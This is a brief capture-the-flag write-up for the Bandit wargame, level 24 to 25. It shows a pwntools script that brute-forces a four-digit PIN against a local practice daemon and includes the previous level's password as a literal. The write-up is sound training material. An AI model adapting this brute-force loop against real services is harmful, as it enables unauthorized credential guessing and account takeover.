Bandit Level 24 β Level 25


For this challenge, as mentioned in the description, we need to write a script to this for us:
from pwn import *
remote = remote("localhost", 30002)
remote.recv()
bandit24_password = "gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
for i in range(10000):
combination = f"{bandit24_password} {i:04d}"
remote.sendline(combination)
if b"Wrong!" in remote.recvline():
continue
else:
print(remote.recv().decode())
break
It will start the connection, and receive the welcoming, and the start sending the password combined with a pin encompass of four digits starting from 0000 up to 9999, and receive the response, if the response contained Wrong! which is in the beginning of the response when the combination is incorrect it will continue the brute forcing, other than that it will print what it received.
cd /tmp/Caesar3
vim script.py
:wq
cat script.py
python3 script.py

Here is the password for the next user.
Last updated